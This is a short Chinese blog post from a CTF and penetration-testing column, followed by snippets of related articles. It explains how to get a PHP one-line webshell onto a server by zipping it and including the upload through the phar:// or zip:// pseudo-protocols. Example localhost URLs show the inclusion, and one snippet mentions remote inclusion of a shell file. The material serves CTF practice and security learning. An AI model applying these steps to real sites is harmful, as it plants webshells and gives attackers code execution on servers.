phar://、zip://伪协议进行shell上传

最新推荐文章于 2024-07-09 22:37:21 发布
最新推荐文章于 2024-07-09 22:37:21 发布
阅读量1.2k 收藏 3
点赞数 3
分类专栏： CTF刷题 渗透测试 文章标签： tcp/ip 网络协议 网络
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43749601/article/details/118026330
版权

phar://

环境：可上传png、zip
首先写一个一句话木马shell.php接着压缩成zip文件。上传文件后使用shell工具进行连接。
http://localhost/?url=phar://uploads/63e93ffe53f03e93bb0a0249152d243874e31c9b.zip/shell

zip://

环境：可上传png、zip
首先写一个一句话木马shell.php接着压缩成zip文件。直接上传zip文件，然后使用shell工具进行连接。
http://localhost/?url=zip:///var/www/html/upload/892e38cea0c47c744ecc60ccacc94c23.zip%23shell

2021！
关注
专栏目录
[代码审计篇]php代码审计之浅析Phar伪协议
qq_43668710的博客
04-15 1525
0x01 前言 简要说明 写这篇博客的目的只有两个 为**[代码审计篇]**中关于php反序列化漏洞的审计作铺垫 为上一篇博客做点漏洞原理的补充 环境工具 Win10 Phpstudy_pro Sublime_Text 3 注意(tips) PHAR的使用需要将php.ini设置phar.readonly设置为Off才能用于PHAR对象 PHAR 这个词是PHP和 Archive的组合词，基...
PHP伪协议详解
m0_67401228的博客
08-02 1425
phpexit();亦或者phpexit();?这样即使插入了一句话木马，在被使用的时候也无法被执行。这样的死亡exit通常存在于缓存、配置文件等等不允许用户直接访问的文件当中。
【文件上传】zip伪协议上传解析
serendipity1130的博客
08-29 1959
1.打开界面是登陆框，查看源码，发现有文件包含include($_GET['file']) 2.然后根据题目名称：文件上传，访问网址：/upload.php发现了文件上传点，先上传了jpg图片，发现不能用菜刀连接，应该是无法解析jpg。 3.因为有文件包含，所以考虑到使用伪协议包含木马图片的文件进行菜刀连接，因为都有过滤，最终尝试了zip伪协议可以进行访问。 4.方法：首先制作一句话木马的zip包，然后将后缀名改为jpg，进行上传，上传成功后复制图片地址，可以发现图片的地址为upload/2.jpg
php伪协议
最新发布
qq_74303907的博客
07-09 863
php exit();php exit();?php exit();??这样即使插入了一句话木马，在被使用的时候也无法被执行。这样的死亡exit通常存在于缓存、配置文件等等不允许用户直接访问的文件当中。
php文件包含 伪协议
m0_64361111的博客
02-28 1085
PHP有很多内置 URL风格的封装协议，这类协议与fopen()、 copy()、 file_exists()和filesize()的文件系统函数所提供的功能类似。 zip:// 伪协议 先将要执行的PHP代码写好文件名为test.txt，将test.txt进行zip压缩,压缩文件名为test.zip,如果可以上传zip文件便直接上传，若不能便将test.zip重命名为test.jpg后再上传 在网站根目录创建1.txt，内容为 压缩，压缩后在浏览器访问 php://input ..
文件包含之——phar伪协议
abc18964814133的博客
05-09 6759
文件上传之phar伪协议
WEB入门——文件包含漏洞与PHP伪协议
HasntStartIsOver的博客
06-04 930
在程序员开发过程中，通常会把可重复使用的函数写到单个文件中，在使用某些函数时，直接调用此文件，无需在此编写，这种调用文件的过程一般被称为文件包含。随着网站业务的需求，程序开发人员一般希望代码更灵活，所以将被包含的文件设置为变量，用来进行动态调用，但是正是这种灵活性通过动态变量的方式引入需要包含的文件时，用户对这个变量可控而且服务端又没有做合理的校检或者校检被绕过就造成了文件包含漏洞。
php伪协议读取目录,PHP文件包含，文件读取的利用思路，以及配合伪协议的trick...
weixin_31178795的博客
03-28 1357
PHP的文件包含函数有两类，分三种：12file_get_contents()include()/include_once() require/require_once()第一种用于获取文件的数据，第二种用于包含并执行代码与读取文件两种功能php写文件的函数1file_put_contents()基本的思路就是用来写shell吧，不过会有各种限制，但是结合伪协议就可以简单绕过了file_get_...
文件包含 （无视后缀）apache日志 远程文件包含 php封装伪协议：
m0_64338210的博客
02-28 357
1.本地文件包含：（无视后缀） 2.远程文件包含 远程包含shellallow_url_include开启 访问: http://目标机ip/index.php?page=http://操作机ip/shell.txt 目标机： 操作机： 3.apache日志文件包含个体get.shell 修改文件 httpd.conf # CustomLog "logs/access.log" common去掉前面这个#号重启 apache 访问http;//127.0.0.1:8
ctf 文件包含总结
njqfb的博客
06-04 1655
php伪协议 文件包含用到伪协议的情况挺多 php://input php://input是个可以访问请求的原始数据的只读流,可以理解为读取到的POST上传的数据 当协议当作文件打开时,POST上传的内容相当于文件内容,enctype="multipart/form-data" 的时候 php://input 是无效的 利用: 使用php://input协议并POST要执行的代码 绕过file_get_contents函数进行的文件内容检测,比如函数打开一个文件,并验证文件内容是否为xxx,此时可以用php
w24文件上传之PHP伪协议
三旬的博客
01-27 363
file:// - 访问本地文件系统http:// - 访问网址ftp:// - 访问文件php:// -访问各个输入/输出流zlib:// -压缩流data:// - 数据glob:// -查找匹配的文件路径模式phar:// - php归档ogg:// - 音频流expect:// - 处理交互式的流。
PHP安全 [伪协议]
weixin_45253622的博客
05-18 1022
PHP安全 [伪协议] file://协议 ​http://协议 php://协议 zip:// bzip2:// zlib://协议 data://协议 phar:// 协议 首先在\DVWA-master\vulnerabilities\fi\目录下新建1.txt 2.txt 3.zip方便环境测试。 file://协议 file协议主要用于访问本地计算机中的文件，也就是用于访问本地文件系统，且不受allow_url_fopen与allow_url_include的影响..
[SWPUCTF 2018]SimplePHP phar漏洞及其文件上传
qq_54929891的博客
03-27 3285
在查看文件这个页面发现一个可疑参数file，试试能不能读取源代码 根据include包含来将各个文件源代码都提取出来，最重要的是class.php <?php class C1e4r { public $test; public $str; public function __destruct() { $this->test = $this->str; echo $this->test; } } ..
【文件包含中的伪协议】
My笔记的博客
05-15 966
php.ini 中的两个重要选项 PHP 中几个比较重要的伪协议：php://input 协议还可以用来生成一句话木马，这里假设我们用的之前的直接包含的php代码： 这是一个文件上传的页面可以上传一个文件上去 上传后发现失败了，那就说明不是文件上传的题目，我们在url地址栏发现了一个op参数和一个key参数，我们用文件审查查看一下源代码 点开后，看到一个op的参数，看到这个好参数我们会想到可能存在文件包含，比如我们改成upload 就变成了上传文件的页面，这里我们可以猜到通过op的参数包含不同的文件
【每天学习一点新知识】文件包含常用之伪协议
RexHa的博客
02-06 3695
一些比较常用的php伪协议用法及部分演示过程
文件包含支持的伪协议
qq_50673174的博客
05-15 8334
文件包含漏洞的补充。 主要是文件包含漏洞支持的伪协议。
php伪协议漏洞,php文件包含+伪协议+文件上传漏洞利用实例
weixin_42524883的博客
03-17 475
1.上传文件过滤了后缀名和MIME类型，$_FILES['pic']['type']是由浏览器传输的文件类型决定，但是mime_content_type()是由php内置方法判断文件类型；支持文件类型为application/zip,支持上传zip压缩文件，后缀名还是要改成.jpg或.gif,上传后将该名为随机数字(1499394959).jpg格式$name1=substr($name,-4);...
渗透测试——六、网站漏洞——文件上传
钟言的博客
12-06 9450
本篇是学习渗透测试的第六课，网络漏洞之文件上传漏洞，详细内容包含了：文件包含 PHP伪协议、文件上传四、文件包含页面之包含测试五、文件上传页面之上传测试等等，
phar://伪协议
02-28
phar://伪协议是PHP中的一个特殊协议，用于访问和操作PHP归档文件（.phar文件）。.phar文件是一种将多个PHP文件打包成单个可执行文件的方式，类似于Java中的JAR文件或Python中的ZIP文件。 通过phar://伪协议，可以像操作普通文件一样对.phar文件进行读取、写入和执行等操作。使用该协议，可以方便地加载和使用.phar文件中的类、函数和资源。 以下是phar://伪协议的一些使用示例： 1. 读取.phar文件中的内容： ```php $content = file_get_contents('phar://path/to/file.phar/file.txt'); ``` 2. 执行.phar文件中的PHP脚本： ```php include 'phar://path/to/file.phar/script.php'; ``` 3. 写入内容到.phar文件中： ```php file_put_contents('phar://path/to/file.phar/newfile.txt', 'Hello, World!'); ``` 需要注意的是，为了安全起见，PHP默认情况下禁用了phar://伪协议。如果要使用该协议，需要在php.ini配置文件中启用相关选项或者在代码中使用ini_set函数进行设置。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值